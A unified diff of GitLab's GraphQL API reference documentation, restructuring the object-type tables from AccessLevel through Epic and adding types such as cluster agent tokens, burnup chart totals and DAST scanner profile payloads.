-## AccessLevel +## Object types -Represents the access level of a relationship between a User and object that it is related to +Object types represent the resources that GitLab's GraphQL API can return. +They contain _fields_. Each field has its own type, which will either be one of the +basic GraphQL [scalar types](https://graphql.org/learn/schema/#scalar-types) +(e.g.: `String` or `Boolean`) or other object types. -| Name | Type | Description | -| --- | ---- | ---------- | +For more information, see +[Object Types and Fields](https://graphql.org/learn/schema/#object-types-and-fields) +on `graphql.org`. + +### AccessLevel + +Represents the access level of a relationship between a User and object that it is related to. + +| Field | Type | Description | +| ----- | ---- | ----------- | | `integerValue` | Int | Integer representation of access level | | `stringValue` | AccessLevelEnum | String representation of access level | -## AddAwardEmojiPayload +### AddAwardEmojiPayload -Autogenerated return type of AddAwardEmoji +Autogenerated return type of AddAwardEmoji. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `awardEmoji` | AwardEmoji | The award emoji after mutation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## AddProjectToSecurityDashboardPayload +### AddProjectToSecurityDashboardPayload -Autogenerated return type of AddProjectToSecurityDashboard +Autogenerated return type of AddProjectToSecurityDashboard. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `project` | Project | Project that was added to the Instance Security Dashboard | -## AdminSidekiqQueuesDeleteJobsPayload +### AdminSidekiqQueuesDeleteJobsPayload -Autogenerated return type of AdminSidekiqQueuesDeleteJobs +Autogenerated return type of AdminSidekiqQueuesDeleteJobs. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `result` | DeleteJobsResponse | Information about the status of the deletion request | -## AlertManagementAlert +### AlertManagementAlert -Describes an alert from the project's Alert Management +Describes an alert from the project's Alert Management. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `createdAt` | Time | Timestamp the alert was created | | `description` | String | Description of the alert | | `details` | JSON | Alert details | @@ -81,12 +92,12 @@ Describes an alert from the project's Alert Management | `title` | String | Title of the alert | | `updatedAt` | Time | Timestamp the alert was last updated | -## AlertManagementAlertStatusCountsType +### AlertManagementAlertStatusCountsType -Represents total number of alerts for the represented categories +Represents total number of alerts for the represented categories. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `acknowledged` | Int | Number of alerts with status ACKNOWLEDGED for the project | | `all` | Int | Total number of alerts for the project | | `ignored` | Int | Number of alerts with status IGNORED for the project | @@ -94,36 +105,36 @@ Represents total number of alerts for the represented categories | `resolved` | Int | Number of alerts with status RESOLVED for the project | | `triggered` | Int | Number of alerts with status TRIGGERED for the project | -## AlertSetAssigneesPayload +### AlertSetAssigneesPayload -Autogenerated return type of AlertSetAssignees +Autogenerated return type of AlertSetAssignees. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `alert` | AlertManagementAlert | The alert after mutation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue created after mutation | | `todo` | Todo | The todo after mutation | -## AlertTodoCreatePayload +### AlertTodoCreatePayload -Autogenerated return type of AlertTodoCreate +Autogenerated return type of AlertTodoCreate. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `alert` | AlertManagementAlert | The alert after mutation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue created after mutation | | `todo` | Todo | The todo after mutation | -## AwardEmoji +### AwardEmoji An emoji awarded by a user. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `description` | String! | The emoji description | | `emoji` | String! | The emoji as an icon | | `name` | String! | The emoji name | @@ -131,48 +142,48 @@ An emoji awarded by a user. | `unicodeVersion` | String! | The unicode version for this emoji | | `user` | User! | The user who awarded the emoji | -## AwardEmojiAddPayload +### AwardEmojiAddPayload -Autogenerated return type of AwardEmojiAdd +Autogenerated return type of AwardEmojiAdd. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `awardEmoji` | AwardEmoji | The award emoji after mutation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## AwardEmojiRemovePayload +### AwardEmojiRemovePayload -Autogenerated return type of AwardEmojiRemove +Autogenerated return type of AwardEmojiRemove. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `awardEmoji` | AwardEmoji | The award emoji after mutation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## AwardEmojiTogglePayload +### AwardEmojiTogglePayload -Autogenerated return type of AwardEmojiToggle +Autogenerated return type of AwardEmojiToggle. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `awardEmoji` | AwardEmoji | The award emoji after mutation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `toggledOn` | Boolean! | Indicates the status of the emoji. True if the toggle awarded the emoji, and false if the toggle removed the emoji. | -## BaseService +### BaseService -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `active` | Boolean | Indicates if the service is active | | `type` | String | Class name of the service | -## Blob +### Blob -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `flatPath` | String! | Flat path of the entry | | `id` | ID! | ID of the entry | | `lfsOid` | String | LFS ID of the blob | @@ -184,12 +195,12 @@ Autogenerated return type of AwardEmojiToggle | `webPath` | String | Web path of the blob | | `webUrl` | String | Web URL of the blob | -## Board +### Board -Represents a project or group board +Represents a project or group board. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `assignee` | User | The board assignee. | | `hideBacklogList` | Boolean | Whether or not backlog list is hidden. | | `hideClosedList` | Boolean | Whether or not closed list is hidden. | @@ -198,12 +209,12 @@ Represents a project or group board | `name` | String | Name of the board | | `weight` | Int | Weight of the board. | -## BoardList +### BoardList -Represents a list for an issue board +Represents a list for an issue board. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `assignee` | User | Assignee in the list | | `collapsed` | Boolean | Indicates if list is collapsed for this user | | `id` | ID! | ID (global ID) of the list | @@ -218,66 +229,115 @@ Represents a list for an issue board | `title` | String! | Title of the list | | `totalWeight` | Int | Total weight of all issues in the list | -## BoardListCreatePayload +### BoardListCreatePayload -Autogenerated return type of BoardListCreate +Autogenerated return type of BoardListCreate. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `list` | BoardList | List of the issue board | -## BoardListUpdateLimitMetricsPayload +### BoardListUpdateLimitMetricsPayload -Autogenerated return type of BoardListUpdateLimitMetrics +Autogenerated return type of BoardListUpdateLimitMetrics. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `list` | BoardList | The updated list | -## Branch +### Branch -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `commit` | Commit | Commit for the branch | | `name` | String! | Name of the branch | -## CiGroup +### BurnupChartDailyTotals + +Represents the total number of issues and their weights for a particular day. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `completedCount` | Int! | Number of closed issues as of this day | +| `completedWeight` | Int! | Total weight of closed issues as of this day | +| `date` | ISO8601Date! | Date for burnup totals | +| `scopeCount` | Int! | Number of issues as of this day | +| `scopeWeight` | Int! | Total weight of issues as of this day | -| Name | Type | Description | -| --- | ---- | ---------- | +### CiGroup + +| Field | Type | Description | +| ----- | ---- | ----------- | | `name` | String | Name of the job group | | `size` | Int | Size of the group | -## CiJob +### CiJob -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `name` | String | Name of the job | -## CiStage +### CiStage -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `name` | String | Name of the stage | -## ClusterAgent +### ClusterAgent -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `createdAt` | Time | Timestamp the cluster agent was created | | `id` | ID! | ID of the cluster agent | | `name` | String | Name of the cluster agent | | `project` | Project | The project this cluster agent is associated with | | `updatedAt` | Time | Timestamp the cluster agent was updated | -## Commit +### ClusterAgentDeletePayload + +Autogenerated return type of ClusterAgentDelete. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + +### ClusterAgentToken + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clusterAgent` | ClusterAgent | Cluster agent this token is associated with | +| `createdAt` | Time | Timestamp the token was created | +| `id` | ClustersAgentTokenID! | Global ID of the token | + +### ClusterAgentTokenCreatePayload + +Autogenerated return type of ClusterAgentTokenCreate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `secret` | String | Token secret value. Make sure you save it - you won't be able to access it again | +| `token` | ClusterAgentToken | Token created after mutation | + +### ClusterAgentTokenDeletePayload -| Name | Type | Description | -| --- | ---- | ---------- | +Autogenerated return type of ClusterAgentTokenDelete. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + +### Commit + +| Field | Type | Description | +| ----- | ---- | ----------- | | `author` | User | Author of the commit | | `authorGravatar` | String | Commit authors gravatar | | `authorName` | String | Commit authors name | @@ -294,40 +354,41 @@ Autogenerated return type of BoardListUpdateLimitMetrics | `webPath` | String! | Web path of the commit | | `webUrl` | String! | Web URL of the commit | -## CommitCreatePayload +### CommitCreatePayload -Autogenerated return type of CommitCreate +Autogenerated return type of CommitCreate. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `commit` | Commit | The commit after mutation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## ComplianceFramework +### ComplianceFramework -Represents a ComplianceFramework associated with a Project +Represents a ComplianceFramework associated with a Project. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `name` | ProjectSettingEnum! | Name of the compliance framework | -## ConfigureSastPayload +### ConfigureSastPayload -Autogenerated return type of ConfigureSast +Autogenerated return type of ConfigureSast. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `result` | JSON | JSON containing the status of MR creation. | +| `status` | String! | Status of creating the commit for the supplied SAST CI configuration | +| `successPath` | String | Redirect path to use when the response is successful | -## ContainerExpirationPolicy +### ContainerExpirationPolicy -A tag expiration policy designed to keep only the images that matter most +A tag expiration policy designed to keep only the images that matter most. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `cadence` | ContainerExpirationPolicyCadenceEnum! | This container expiration policy schedule | | `createdAt` | Time! | Timestamp of when the container expiration policy was created | | `enabled` | Boolean! | Indicates whether this container expiration policy is enabled | @@ -338,155 +399,187 @@ A tag expiration policy designed to keep only the images that matter most | `olderThan` | ContainerExpirationPolicyOlderThanEnum | Tags older that this will expire | | `updatedAt` | Time! | Timestamp of when the container expiration policy was updated | -## CreateAlertIssuePayload +### CreateAlertIssuePayload -Autogenerated return type of CreateAlertIssue +Autogenerated return type of CreateAlertIssue. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `alert` | AlertManagementAlert | The alert after mutation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue created after mutation | | `todo` | Todo | The todo after mutation | -## CreateAnnotationPayload +### CreateAnnotationPayload -Autogenerated return type of CreateAnnotation +Autogenerated return type of CreateAnnotation. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `annotation` | MetricsDashboardAnnotation | The created annotation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## CreateBranchPayload +### CreateBranchPayload -Autogenerated return type of CreateBranch +Autogenerated return type of CreateBranch. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `branch` | Branch | Branch after mutation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## CreateClusterAgentPayload +### CreateClusterAgentPayload -Autogenerated return type of CreateClusterAgent +Autogenerated return type of CreateClusterAgent. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `clusterAgent` | ClusterAgent | Cluster agent created after mutation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## CreateDiffNotePayload +### CreateDiffNotePayload -Autogenerated return type of CreateDiffNote +Autogenerated return type of CreateDiffNote. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `note` | Note | The note after mutation | -## CreateEpicPayload +### CreateEpicPayload -Autogenerated return type of CreateEpic +Autogenerated return type of CreateEpic. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `epic` | Epic | The created epic | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## CreateImageDiffNotePayload +### CreateImageDiffNotePayload -Autogenerated return type of CreateImageDiffNote +Autogenerated return type of CreateImageDiffNote. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `note` | Note | The note after mutation | -## CreateIterationPayload +### CreateIterationPayload -Autogenerated return type of CreateIteration +Autogenerated return type of CreateIteration. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `iteration` | Iteration | The created iteration | -## CreateNotePayload +### CreateNotePayload -Autogenerated return type of CreateNote +Autogenerated return type of CreateNote. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `note` | Note | The note after mutation | -## CreateRequirementPayload +### CreateRequirementPayload -Autogenerated return type of CreateRequirement +Autogenerated return type of CreateRequirement. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `requirement` | Requirement | The requirement after mutation | -## CreateSnippetPayload +### CreateSnippetPayload -Autogenerated return type of CreateSnippet +Autogenerated return type of CreateSnippet. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `snippet` | Snippet | The snippet after mutation | -## DastOnDemandScanCreatePayload +### CreateTestCasePayload + +Autogenerated return type of CreateTestCase. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `testCase` | Issue | The test case created | + +### DastOnDemandScanCreatePayload -Autogenerated return type of DastOnDemandScanCreate +Autogenerated return type of DastOnDemandScanCreate. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `pipelineUrl` | String | URL of the pipeline that was created. | -## DastScannerProfile +### DastScannerProfile Represents a DAST scanner profile. -| Name | Type | Description | -| --- | ---- | ---------- | -| `id` | ID! | ID of the DAST scanner profile | +| Field | Type | Description | +| ----- | ---- | ----------- | +| `editPath` | String | Relative web path to the edit page of a scanner profile | +| `globalId` | DastScannerProfileID! | ID of the DAST scanner profile | +| `id` **{warning-solid}** | ID! | **Deprecated:** Use `global_id`. Deprecated in 13.4 | | `profileName` | String | Name of the DAST scanner profile | -| `spiderTimeout` | Int | The maximum number of seconds allowed for the spider to traverse the site | +| `spiderTimeout` | Int | The maximum number of minutes allowed for the spider to traverse the site | | `targetTimeout` | Int | The maximum number of seconds allowed for the site under test to respond to a request | -## DastScannerProfileCreatePayload +### DastScannerProfileCreatePayload -Autogenerated return type of DastScannerProfileCreate +Autogenerated return type of DastScannerProfileCreate. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `id` | ID | ID of the scanner profile. | +| `globalId` | DastScannerProfileID | ID of the scanner profile. | +| `id` **{warning-solid}** | ID | **Deprecated:** Use `global_id`. Deprecated in 13.4 | -## DastSiteProfile +### DastScannerProfileDeletePayload + +Autogenerated return type of DastScannerProfileDelete. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + +### DastScannerProfileUpdatePayload + +Autogenerated return type of DastScannerProfileUpdate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `id` | DastScannerProfileID | ID of the scanner profile. | + +### DastSiteProfile Represents a DAST Site Profile. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `editPath` | String | Relative web path to the edit page of a site profile | | `id` | DastSiteProfileID! | ID of the site profile | | `profileName` | String | The name of the site profile | @@ -494,68 +587,68 @@ Represents a DAST Site Profile. | `userPermissions` | DastSiteProfilePermissions! | Permissions for the current user on the resource | | `validationStatus` | DastSiteProfileValidationStatusEnum | The current validation status of the site profile | -## DastSiteProfileCreatePayload +### DastSiteProfileCreatePayload -Autogenerated return type of DastSiteProfileCreate +Autogenerated return type of DastSiteProfileCreate. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `id` | DastSiteProfileID | ID of the site profile. | -## DastSiteProfileDeletePayload +### DastSiteProfileDeletePayload -Autogenerated return type of DastSiteProfileDelete +Autogenerated return type of DastSiteProfileDelete. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## DastSiteProfilePermissions +### DastSiteProfilePermissions -Check permissions for the current user on site profile +Check permissions for the current user on site profile. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `createOnDemandDastScan` | Boolean! | Indicates the user can perform `create_on_demand_dast_scan` on this resource | -## DastSiteProfileUpdatePayload +### DastSiteProfileUpdatePayload -Autogenerated return type of DastSiteProfileUpdate +Autogenerated return type of DastSiteProfileUpdate. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `id` | DastSiteProfileID | ID of the site profile. | -## DeleteAnnotationPayload +### DeleteAnnotationPayload -Autogenerated return type of DeleteAnnotation +Autogenerated return type of DeleteAnnotation. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## DeleteJobsResponse +### DeleteJobsResponse The response from the AdminSidekiqQueuesDeleteJobs mutation. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `completed` | Boolean | Whether or not the entire queue was processed in time; if not, retrying the same request is safe | | `deletedJobs` | Int | The number of matching jobs deleted | | `queueSize` | Int | The queue size after processing | -## Design +### Design -A single design +A single design. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `diffRefs` | DiffRefs! | The diff refs for this design | | `event` | DesignVersionEvent! | How this design was changed in the current version | | `filename` | String! | The filename of the design | @@ -567,13 +660,13 @@ A single design | `notesCount` | Int! | The total count of user-created notes for this design | | `project` | Project! | The project the design belongs to | -## DesignAtVersion +### DesignAtVersion A design pinned to a specific version. The image field reflects the design as of the associated version. -| Name | Type | Description | -| --- | ---- | ---------- | -| `design` | Design! | The underlying design. | +| Field | Type | Description | +| ----- | ---- | ----------- | +| `design` | Design! | The underlying design | | `diffRefs` | DiffRefs! | The diff refs for this design | | `event` | DesignVersionEvent! | How this design was changed in the current version | | `filename` | String! | The filename of the design | @@ -586,90 +679,100 @@ A design pinned to a specific version. The image field reflects the design as of | `project` | Project! | The project the design belongs to | | `version` | DesignVersion! | The version this design-at-versions is pinned to | -## DesignCollection +### DesignCollection A collection of designs. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `design` | Design | Find a specific design | | `designAtVersion` | DesignAtVersion | Find a design as of a version | | `issue` | Issue! | Issue associated with the design collection | | `project` | Project! | Project associated with the design collection | | `version` | DesignVersion | A specific version | -## DesignManagement +### DesignManagement -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `designAtVersion` | DesignAtVersion | Find a design as of a version | | `version` | DesignVersion | Find a version | -## DesignManagementDeletePayload +### DesignManagementDeletePayload -Autogenerated return type of DesignManagementDelete +Autogenerated return type of DesignManagementDelete. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `version` | DesignVersion | The new version in which the designs are deleted | -## DesignManagementMovePayload +### DesignManagementMovePayload -Autogenerated return type of DesignManagementMove +Autogenerated return type of DesignManagementMove. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `designCollection` | DesignCollection | The current state of the collection | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## DesignManagementUploadPayload +### DesignManagementUploadPayload -Autogenerated return type of DesignManagementUpload +Autogenerated return type of DesignManagementUpload. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `designs` | Design! => Array | The designs that were uploaded by the mutation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `skippedDesigns` | Design! => Array | Any designs that were skipped from the upload due to there being no change to their content since their last version | -## DesignVersion +### DesignVersion -A specific version in which designs were added, modified or deleted +A specific version in which designs were added, modified or deleted. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `designAtVersion` | DesignAtVersion! | A particular design as of this version, provided it is visible at this version | | `id` | ID! | ID of the design version | | `sha` | ID! | SHA of the design version | -## DestroyNotePayload +### DestroyBoardPayload + +Autogenerated return type of DestroyBoard. -Autogenerated return type of DestroyNote +| Field | Type | Description | +| ----- | ---- | ----------- | +| `board` | Board | The board after mutation | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + +### DestroyNotePayload -| Name | Type | Description | -| --- | ---- | ---------- | +Autogenerated return type of DestroyNote. + +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `note` | Note | The note after mutation | -## DestroySnippetPayload +### DestroySnippetPayload -Autogenerated return type of DestroySnippet +Autogenerated return type of DestroySnippet. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `snippet` | Snippet | The snippet after mutation | -## DetailedStatus +### DetailedStatus -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `detailsPath` | String! | Path of the details for the pipeline status | | `favicon` | String! | Favicon of the pipeline status | | `group` | String! | Group of the pipeline status | @@ -679,10 +782,10 @@ Autogenerated return type of DestroySnippet | `text` | String! | Text of the pipeline status | | `tooltip` | String! | Tooltip associated with the pipeline status | -## DiffPosition +### DiffPosition -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `diffRefs` | DiffRefs! | Information about the branch, HEAD, and base at the time of commenting | | `filePath` | String! | Path of the file that was changed | | `height` | Int | Total height of the image | @@ -695,39 +798,39 @@ Autogenerated return type of DestroySnippet | `x` | Int | X position of the note | | `y` | Int | Y position of the note | -## DiffRefs +### DiffRefs -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `baseSha` | String | Merge base of the branch the comment was made on | | `headSha` | String! | SHA of the HEAD at the time the comment was made | | `startSha` | String! | SHA of the branch being compared against | -## DiffStats +### DiffStats -Changes to a single file +Changes to a single file. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `additions` | Int! | Number of lines added to this file | | `deletions` | Int! | Number of lines deleted from this file | | `path` | String! | File path, relative to repository root | -## DiffStatsSummary +### DiffStatsSummary -Aggregated summary of changes +Aggregated summary of changes. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `additions` | Int! | Number of lines added | | `changes` | Int! | Number of lines changed | | `deletions` | Int! | Number of lines deleted | | `fileCount` | Int! | Number of files changed | -## Discussion +### Discussion -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `createdAt` | Time! | Timestamp of the discussion's creation | | `id` | ID! | ID of this discussion | | `replyId` | ID! | ID used to reply to this discussion | @@ -736,44 +839,44 @@ Aggregated summary of changes | `resolvedAt` | Time | Timestamp of when the object was resolved | | `resolvedBy` | User | User who resolved the object | -## DiscussionToggleResolvePayload +### DiscussionToggleResolvePayload -Autogenerated return type of DiscussionToggleResolve +Autogenerated return type of DiscussionToggleResolve. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `discussion` | Discussion | The discussion after mutation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## DismissVulnerabilityPayload +### DismissVulnerabilityPayload -Autogenerated return type of DismissVulnerability +Autogenerated return type of DismissVulnerability. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `vulnerability` | Vulnerability | The vulnerability after dismissal | -## Environment +### Environment -Describes where code is deployed for a project +Describes where code is deployed for a project. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `id` | ID! | ID of the environment | | `latestOpenedMostSevereAlert` | AlertManagementAlert | The most severe open alert for the environment. If multiple alerts have equal severity, the most recent is returned. | | `metricsDashboard` | MetricsDashboard | Metrics dashboard schema for the environment | | `name` | String! | Human-readable name of the environment | | `state` | String! | State of the environment, for example: available/stopped | -## Epic +### Epic Represents an epic. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `author` | User! | Author of the epic | | `closedAt` | Time | Timestamp of the epic's closure | | `confidential` | Boolean | Indicates if the epic is confidential | @@ -810,53 +913,54 